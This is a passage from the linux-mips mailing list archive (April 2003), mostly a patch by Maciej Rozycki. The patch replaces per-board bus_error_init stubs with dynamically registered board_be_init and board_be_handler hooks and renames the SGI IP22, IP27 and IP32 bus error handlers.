> limitations the kernel will have to run in CKSEG2 instead of KSEG0 ...

 Recent tools (like these at my site) should be fine for making an XPHYS
kernel -- it's the assumption of being in the 32-bit address space made
here and there in the kernel that bites...

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From macro@ds2.pg.gda.pl Mon Apr 14 13:47:00 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 13:47:01 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:18334 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225202AbTDNMrA>; Mon, 14 Apr 2003 13:47:00 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id OAA25600;
	Mon, 14 Apr 2003 14:47:26 +0200 (MET DST)
Date: Mon, 14 Apr 2003 14:47:25 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
cc: ralf@linux-mips.org, nemoto@toshiba-tops.co.jp,
	linux-mips@linux-mips.org
Subject: Re: End c-tx49.c's misserable existence
In-Reply-To: <20030414.152903.41628304.nemoto@toshiba-tops.co.jp>
Message-ID: <Pine.GSO.3.96.1030414144637.24742C-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2019
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Mon, 14 Apr 2003, Atsushi Nemoto wrote:

> One more request.  Please enclose R4600_V1_HIT_CACHEOP_WAR and
> R4600_V2_HIT_CACHEOP_WAR with appropriate CONFIG_CPU_XXX.  I do not
> know what CPUs need this workaround... (at least TX49 does not need
> this)

 Obviously R4600 CPUs only. ;-)

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From macro@ds2.pg.gda.pl Mon Apr 14 14:09:36 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 14:09:37 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:159 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225202AbTDNNJg>; Mon, 14 Apr 2003 14:09:36 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id PAA25906;
	Mon, 14 Apr 2003 15:10:02 +0200 (MET DST)
Date: Mon, 14 Apr 2003 15:10:02 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ralf Baechle <ralf@linux-mips.org>
cc: linux-mips@linux-mips.org
Subject: [patch] Board bus error handler clean-ups
Message-ID: <Pine.GSO.3.96.1030414144912.24742D-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2020
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

Hello,

 Here is a patch that replaces the current temporary hack for board bus
error handler initializers with the proper approach allowing platforms to
install them dynamically, similarly to timer initializers.  It also
trivially changes the names to follow other patterns. 

 As a side effect it nukes zillions of empty functions for platforms that
don't have extra bus error functionality. 

 OK to apply?

  Maciej

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +

patch-mips-2.4.21-pre4-20030411-mips-be-1
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/au1000/db1x00/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/au1000/db1x00/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/au1000/db1x00/setup.c	2003-03-22 03:56:27.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/au1000/db1x00/setup.c	2003-04-13 17:53:02.000000000 +0000
@@ -73,8 +73,6 @@ extern phys_t (*fixup_bigphys_addr)(phys
 static phys_t db_fixup_bigphys_addr(phys_t phys_addr, phys_t size);
 #endif
 
-void __init bus_error_init(void) { /* nothing */ }
-
 void __init au1x00_setup(void)
 {
 	char *argptr;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/au1000/pb1000/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/au1000/pb1000/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/au1000/pb1000/setup.c	2003-03-22 03:56:27.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/au1000/pb1000/setup.c	2003-04-13 17:53:06.000000000 +0000
@@ -75,8 +75,6 @@ extern void au1000_power_off(void);
 extern struct resource ioport_resource;
 extern struct resource iomem_resource;
 
-void __init bus_error_init(void) { /* nothing */ }
-
 void __init au1x00_setup(void)
 {
 	char *argptr;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/au1000/pb1100/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/au1000/pb1100/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/au1000/pb1100/setup.c	2003-03-22 03:56:27.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/au1000/pb1100/setup.c	2003-04-13 17:53:12.000000000 +0000
@@ -79,8 +79,6 @@ extern struct resource ioport_resource;
 extern struct resource iomem_resource;
 
 
-void __init bus_error_init(void) { /* nothing */ }
-
 void __init au1x00_setup(void)
 {
 	char *argptr;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/au1000/pb1500/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/au1000/pb1500/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/au1000/pb1500/setup.c	2003-03-22 03:56:27.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/au1000/pb1500/setup.c	2003-04-13 17:53:17.000000000 +0000
@@ -83,8 +83,6 @@ static phys_t pb1500_fixup_bigphys_addr(
 #endif
 
 
-void __init bus_error_init(void) { /* nothing */ }
-
 void __init au1x00_setup(void)
 {
 	char *argptr;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/cobalt/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/cobalt/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/cobalt/setup.c	2003-03-10 03:56:27.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/cobalt/setup.c	2003-04-13 17:51:12.000000000 +0000
@@ -73,9 +73,6 @@ static void __init cobalt_timer_setup(st
 }
 
 
-void __init bus_error_init(void) { /* nothing */ }
-
-
 void __init cobalt_setup(void)
 {
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/ddb5xxx/ddb5074/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/ddb5xxx/ddb5074/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/ddb5xxx/ddb5074/setup.c	2003-02-27 03:56:30.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/ddb5xxx/ddb5074/setup.c	2003-04-13 17:51:33.000000000 +0000
@@ -81,10 +81,6 @@ extern void rtc_ds1386_init(unsigned lon
 
 extern void (*board_timer_setup) (struct irqaction * irq);
 
-void __init bus_error_init(void)
-{
-}
-
 static void __init ddb_timer_init(struct irqaction *irq)
 {
 	/* set the clock to 1 Hz */
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/ddb5xxx/ddb5476/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/ddb5xxx/ddb5476/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/ddb5xxx/ddb5476/setup.c	2003-02-27 03:56:30.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/ddb5xxx/ddb5476/setup.c	2003-04-13 17:51:33.000000000 +0000
@@ -140,9 +140,6 @@ static struct {
 };
 
 
-void __init bus_error_init(void) { /* nothing */ }
-
-
 static void ddb5476_board_init(void);
 extern void ddb5476_irq_setup(void);
 extern void (*irq_setup)(void);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/ddb5xxx/ddb5477/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/ddb5xxx/ddb5477/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/ddb5xxx/ddb5477/setup.c	2003-04-07 02:56:23.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/ddb5xxx/ddb5477/setup.c	2003-04-13 17:51:33.000000000 +0000
@@ -168,8 +168,6 @@ static void __init ddb_timer_setup(struc
 #endif
 }
 
-void __init bus_error_init(void) { /* nothing */ }
-
 static void ddb5477_board_init(void);
 extern void ddb5477_irq_setup(void);
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/galileo-boards/ev64120/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/galileo-boards/ev64120/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/galileo-boards/ev64120/setup.c	2002-12-04 03:56:25.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/galileo-boards/ev64120/setup.c	2003-04-11 17:47:10.000000000 +0000
@@ -107,9 +107,6 @@ struct rtc_ops galileo_rtc_ops = {
 };
 
 
-void __init bus_error_init(void) { /* nothing */ }
-
-
 /********************************************************************
  *ev64120_setup -
  *
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/galileo-boards/ev96100/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/galileo-boards/ev96100/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/galileo-boards/ev96100/setup.c	2002-12-04 03:56:25.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/galileo-boards/ev96100/setup.c	2003-04-11 17:46:49.000000000 +0000
@@ -65,10 +65,6 @@ extern struct resource ioport_resource;
 
 unsigned char mac_0_1[12];
 
-void __init bus_error_init(void)
-{
-}
-
 void __init ev96100_setup(void)
 {
 	unsigned int config = read_c0_config();
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/gt64120/momenco_ocelot/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/gt64120/momenco_ocelot/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/gt64120/momenco_ocelot/setup.c	2002-12-04 03:56:25.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/gt64120/momenco_ocelot/setup.c	2003-04-11 17:46:33.000000000 +0000
@@ -83,7 +83,6 @@ static char reset_reason;
 #define ENTRYLO(x) ((pte_val(mk_pte_phys((x), PAGE_KERNEL_UNCACHED)) >> 6)|1)
 
 static void __init setup_l3cache(unsigned long size);
-void __init bus_error_init(void) { /* nothing */ }
 
 /* setup code for a handoff from a version 1 PMON 2000 PROM */
 void PMON_v1_setup()
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/ite-boards/generic/it8172_setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/ite-boards/generic/it8172_setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/ite-boards/generic/it8172_setup.c	2002-12-04 03:56:26.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/ite-boards/generic/it8172_setup.c	2003-04-11 17:46:17.000000000 +0000
@@ -115,9 +115,6 @@ struct {
 #endif
 
 
-void __init bus_error_init(void) { /* nothing */ }
-
-
 void __init it8172_init_ram_resource(unsigned long memsize)
 {
 	it8172_resources.ram.end = memsize;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/jazz/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/jazz/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/jazz/setup.c	2002-12-04 03:56:26.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/jazz/setup.c	2003-04-11 17:46:00.000000000 +0000
@@ -82,9 +82,6 @@ static void __init jazz_irq_setup(void)
 }
 
 
-void __init bus_error_init(void) { /* nothing */ }
-
-
 void __init jazz_setup(void)
 {
 	/* Map 0xe0000000 -> 0x0:800005C0, 0xe0010000 -> 0x1:30000580 */
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/jmr3927/rbhma3100/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/jmr3927/rbhma3100/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/jmr3927/rbhma3100/setup.c	2002-12-04 03:56:26.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/jmr3927/rbhma3100/setup.c	2003-04-11 17:45:30.000000000 +0000
@@ -184,9 +184,6 @@ unsigned long jmr3927_do_gettimeoffset(v
 }
 
 
-void __init bus_error_init(void) { /* nothing */ }
-
-
 #if defined(CONFIG_BLK_DEV_INITRD)
 extern unsigned long __rd_start, __rd_end, initrd_start, initrd_end;
 #endif
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/kernel/traps.c linux-mips-2.4.21-pre4-20030411/arch/mips/kernel/traps.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/kernel/traps.c	2003-04-09 02:56:54.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/kernel/traps.c	2003-04-13 17:51:33.000000000 +0000
@@ -10,7 +10,7 @@
  *
  * Kevin D. Kissell, kevink@mips.com and Carsten Langgaard, carstenl@mips.com
  * Copyright (C) 2000, 01 MIPS Technologies, Inc.
- * Copyright (C) 2002  Maciej W. Rozycki
+ * Copyright (C) 2002, 2003  Maciej W. Rozycki
  */
 #include <linux/config.h>
 #include <linux/init.h>
@@ -62,7 +62,8 @@ extern asmlinkage void handle_reserved(v
 extern int fpu_emulator_cop1Handler(int xcptno, struct pt_regs *xcp,
 	struct mips_fpu_soft_struct *ctx);
 
-int (*be_board_handler)(struct pt_regs *regs, int is_fixup);
+void (*board_be_init)(void);
+int (*board_be_handler)(struct pt_regs *regs, int is_fixup);
 
 int kstack_depth_to_print = 24;
 
@@ -472,8 +473,8 @@ asmlinkage void do_be(struct pt_regs *re
 	if (fixup)
 		action = MIPS_BE_FIXUP;
 
-	if (be_board_handler)
-		action = be_board_handler(regs, fixup != 0);
+	if (board_be_handler)
+		action = board_be_handler(regs, fixup != 0);
 
 	switch (action) {
 	case MIPS_BE_DISCARD:
@@ -960,7 +961,8 @@ void __init trap_init(void)
 	 * by external hardware.  Therefore these two exceptions
 	 * may have board specific handlers.
 	 */
-	bus_error_init();
+	if (board_be_init)
+		board_be_init();
 
 	set_except_vector(1, handle_mod);
 	set_except_vector(2, handle_tlbl);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/lasat/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/lasat/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/lasat/setup.c	2003-02-25 03:56:37.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/lasat/setup.c	2003-04-13 17:51:33.000000000 +0000
@@ -73,8 +73,6 @@ extern void pcisetup(void);
 extern void edhac_init(void *, void *, void *);
 extern void addrflt_init(void);
 
-void __init bus_error_init(void) { /* nothing */ }
-
 struct lasat_misc lasat_misc_info[N_MACHTYPES] = {
 	{(void *)KSEG1ADDR(0x1c840000), (void *)KSEG1ADDR(0x1c800000), 2},
 	{(void *)KSEG1ADDR(0x11080000), (void *)KSEG1ADDR(0x11000000), 6}
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/mips-boards/atlas/atlas_setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/mips-boards/atlas/atlas_setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/mips-boards/atlas/atlas_setup.c	2003-04-09 02:56:55.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/mips-boards/atlas/atlas_setup.c	2003-04-13 17:51:33.000000000 +0000
@@ -54,10 +54,6 @@ const char *get_system_type(void)
 	return "MIPS Atlas";
 }
 
-void __init bus_error_init(void)
-{
-}
-
 extern void mips_time_init(void);
 extern void mips_timer_setup(struct irqaction *irq);
 extern unsigned long mips_rtc_get_time(void);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/mips-boards/malta/malta_setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/mips-boards/malta/malta_setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/mips-boards/malta/malta_setup.c	2003-04-09 02:56:55.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/mips-boards/malta/malta_setup.c	2003-04-13 17:51:33.000000000 +0000
@@ -80,10 +80,6 @@ const char *get_system_type(void)
 	return "MIPS Malta";
 }
 
-void __init bus_error_init(void)
-{
-}
-
 void __init malta_setup(void)
 {
 #ifdef CONFIG_KGDB
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/mips-boards/sead/sead_setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/mips-boards/sead/sead_setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/mips-boards/sead/sead_setup.c	2003-04-09 02:56:55.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/mips-boards/sead/sead_setup.c	2003-04-13 17:51:33.000000000 +0000
@@ -45,10 +45,6 @@ const char *get_system_type(void)
 	return "MIPS SEAD";
 }
 
-void __init bus_error_init(void)
-{
-}
-
 void __init sead_setup(void)
 {
 	char *argptr;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/momentum/ocelot_c/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/momentum/ocelot_c/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/momentum/ocelot_c/setup.c	2002-11-11 23:05:46.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/momentum/ocelot_c/setup.c	2003-04-11 17:44:05.000000000 +0000
@@ -82,8 +82,6 @@ static char reset_reason;
 
 #define ENTRYLO(x) ((pte_val(mk_pte_phys((x), PAGE_KERNEL_UNCACHED)) >> 6)|1)
 
-void __init bus_error_init(void) { /* nothing */ }
-
 /* setup code for a handoff from a version 2 PMON 2000 PROM */
 void PMON_v2_setup(void)
 {
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/momentum/ocelot_g/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/momentum/ocelot_g/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/momentum/ocelot_g/setup.c	2002-12-04 03:56:37.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/momentum/ocelot_g/setup.c	2003-04-11 17:43:40.000000000 +0000
@@ -90,8 +90,6 @@ static char reset_reason;
 
 static void __init setup_l3cache(unsigned long size);
 
-void __init bus_error_init(void) { /* nothing */ }
-
 /* setup code for a handoff from a version 2 PMON 2000 PROM */
 void PMON_v2_setup(void)
 {
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/philips/nino/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/philips/nino/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/philips/nino/setup.c	2002-06-27 02:57:25.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/philips/nino/setup.c	2003-04-11 17:43:22.000000000 +0000
@@ -83,9 +83,6 @@ static __init void nino_timer_setup(stru
 }
 
 
-void __init bus_error_init(void) { /* nothing */ }
-
-
 void __init nino_setup(void)
 {
 	extern void nino_irq_setup(void);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip22/ip22-berr.c linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip22/ip22-berr.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip22/ip22-berr.c	2003-03-25 03:56:42.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip22/ip22-berr.c	2003-04-13 17:51:33.000000000 +0000
@@ -68,7 +68,7 @@ static void print_buserr(void)
  * and then clear the interrupt when this happens.
  */
 
-void be_ip22_interrupt(int irq, struct pt_regs *regs)
+void ip22_be_interrupt(int irq, struct pt_regs *regs)
 {
 	save_and_clear_buserr();
 	print_buserr();
@@ -76,7 +76,7 @@ void be_ip22_interrupt(int irq, struct p
 	      regs->cp0_epc, regs->regs[31]);
 }
 
-int be_ip22_handler(struct pt_regs *regs, int is_fixup)
+int ip22_be_handler(struct pt_regs *regs, int is_fixup)
 {
 	save_and_clear_buserr();
 	if (is_fixup)
@@ -85,7 +85,7 @@ int be_ip22_handler(struct pt_regs *regs
 	return MIPS_BE_FATAL;
 }
 
-void __init bus_error_init(void)
+void __init ip22_be_init(void)
 {
-	be_board_handler = be_ip22_handler;
+	board_be_handler = ip22_be_handler;
 }
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip22/ip22-int.c linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip22/ip22-int.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip22/ip22-int.c	2003-03-25 03:56:42.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip22/ip22-int.c	2003-04-13 17:51:33.000000000 +0000
@@ -266,7 +266,7 @@ void indy_local1_irqdispatch(struct pt_r
 	return;
 }
 
-extern void be_ip22_interrupt(int irq, struct pt_regs *regs);
+extern void ip22_be_interrupt(int irq, struct pt_regs *regs);
 
 void indy_buserror_irq(struct pt_regs *regs)
 {
@@ -275,7 +275,7 @@ void indy_buserror_irq(struct pt_regs *r
 
 	irq_enter(cpu, irq);
 	kstat.irqs[cpu][irq]++;
-	be_ip22_interrupt(irq, regs);
+	ip22_be_interrupt(irq, regs);
 	irq_exit(cpu, irq);
 }
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip22/ip22-setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip22/ip22-setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip22/ip22-setup.c	2003-03-29 03:56:31.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip22/ip22-setup.c	2003-04-13 17:51:33.000000000 +0000
@@ -128,7 +128,10 @@ void __init ip22_setup(void)
 #ifdef CONFIG_KGDB
 	char *kgdb_ttyd;
 #endif
+
+	board_be_init = ip22_be_init;
 	sgitime_init();
+
 	/* Init the INDY HPC I/O controller.  Need to call this before
 	 * fucking with the memory controller because it needs to know the
 	 * boardID and whether this is a Guiness or a FullHouse machine.
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip27/ip27-berr.c linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip27/ip27-berr.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip27/ip27-berr.c	2002-09-16 02:58:06.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip27/ip27-berr.c	2003-04-11 17:40:44.000000000 +0000
@@ -52,7 +52,7 @@ static void dump_hub_information(unsigne
 		? : "invalid");
 }
 
-int be_ip27_handler(struct pt_regs *regs, int is_fixup)
+int ip27_be_handler(struct pt_regs *regs, int is_fixup)
 {
 	unsigned long errst0, errst1;
 	int data = regs->cp0_cause & 4;
@@ -74,13 +74,13 @@ int be_ip27_handler(struct pt_regs *regs
 	force_sig(SIGBUS, current);
 }
 
-void __init bus_error_init(void)
+void __init ip27_be_init(void)
 {
 	/* XXX Initialize all the Hub & Bridge error handling here.  */
 	int cpu = LOCAL_HUB_L(PI_CPU_NUM);
 	int cpuoff = cpu << 8;
 
-	be_board_handler = be_ip27_handler;
+	board_be_handler = ip27_be_handler;
 
 	LOCAL_HUB_S(PI_ERR_INT_PEND,
 	            cpu ? PI_ERR_CLEAR_ALL_B : PI_ERR_CLEAR_ALL_A);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip27/ip27-setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip27/ip27-setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip27/ip27-setup.c	2002-11-30 03:57:35.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip27/ip27-setup.c	2003-04-11 18:04:07.000000000 +0000
@@ -29,6 +29,7 @@
 #include <asm/pci/bridge.h>
 #include <asm/paccess.h>
 #include <asm/sn/sn0/ip27.h>
+#include <asm/traps.h>
 
 /* Check against user dumbness.  */
 #ifdef CONFIG_VT
@@ -312,5 +313,7 @@ void __init ip27_setup(void)
 	per_cpu_init();
 
 	set_io_port_base(IO_BASE);
+
+	board_be_init = ip27_be_init;
 	board_time_init = ip27_time_init;
 }
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip32/ip32-berr.c linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip32/ip32-berr.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip32/ip32-berr.c	2002-09-29 02:56:24.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip32/ip32-berr.c	2003-04-11 17:39:24.000000000 +0000
@@ -15,7 +15,7 @@
 #include <asm/ptrace.h>
 #include <asm/tlbdebug.h>
 
-int be_ip32_handler(struct pt_regs *regs, int is_fixup)
+int ip32_be_handler(struct pt_regs *regs, int is_fixup)
 {
 	int data = regs->cp0_cause & 4;
 
@@ -29,7 +29,7 @@ int be_ip32_handler(struct pt_regs *regs
 	force_sig(SIGBUS, current);
 }
 
-void __init bus_error_init(void)
+void __init ip32_be_init(void)
 {
-	be_board_handler = be_ip32_handler;
+	board_be_handler = ip32_be_handler;
 }
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip32/ip32-setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip32/ip32-setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sgi-ip32/ip32-setup.c	2002-09-23 11:59:26.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/sgi-ip32/ip32-setup.c	2003-04-11 18:06:22.000000000 +0000
@@ -22,6 +22,7 @@
 #include <asm/ip32/mace.h>
 #include <asm/ip32/ip32_ints.h>
 #include <asm/sgialib.h>
+#include <asm/traps.h>
 
 extern struct rtc_ops ip32_rtc_ops;
 extern u32 cc_interval;
@@ -93,6 +94,7 @@ void __init ip32_setup(void)
 	ip32_reboot_setup();
 
 	rtc_ops = &ip32_rtc_ops;
+	board_be_init = ip32_be_init;
 	board_time_init = ip32_time_init;
 
 	crime_init ();
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sibyte/swarm/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/sibyte/swarm/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sibyte/swarm/setup.c	2003-02-08 03:56:26.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/sibyte/swarm/setup.c	2003-04-11 17:36:00.000000000 +0000
@@ -52,10 +52,6 @@ const char *get_system_type(void)
 }
 
 
-void __init bus_error_init(void)
-{
-}
-
 void __init swarm_timer_setup(struct irqaction *irq)
 {
         /*
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sni/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/sni/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/sni/setup.c	2002-06-27 02:57:26.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/sni/setup.c	2003-04-11 17:35:38.000000000 +0000
@@ -51,9 +51,6 @@ static void __init sni_rm200_pci_time_in
 }
 
 
-void __init bus_error_init(void) { /* nothing */ }
-
-
 extern unsigned char sni_map_isa_cache;
 
 /*
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr4181/osprey/setup.c linux-mips-2.4.21-pre4-20030411/arch/mips/vr4181/osprey/setup.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr4181/osprey/setup.c	2002-12-04 03:56:38.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/vr4181/osprey/setup.c	2003-04-11 17:35:15.000000000 +0000
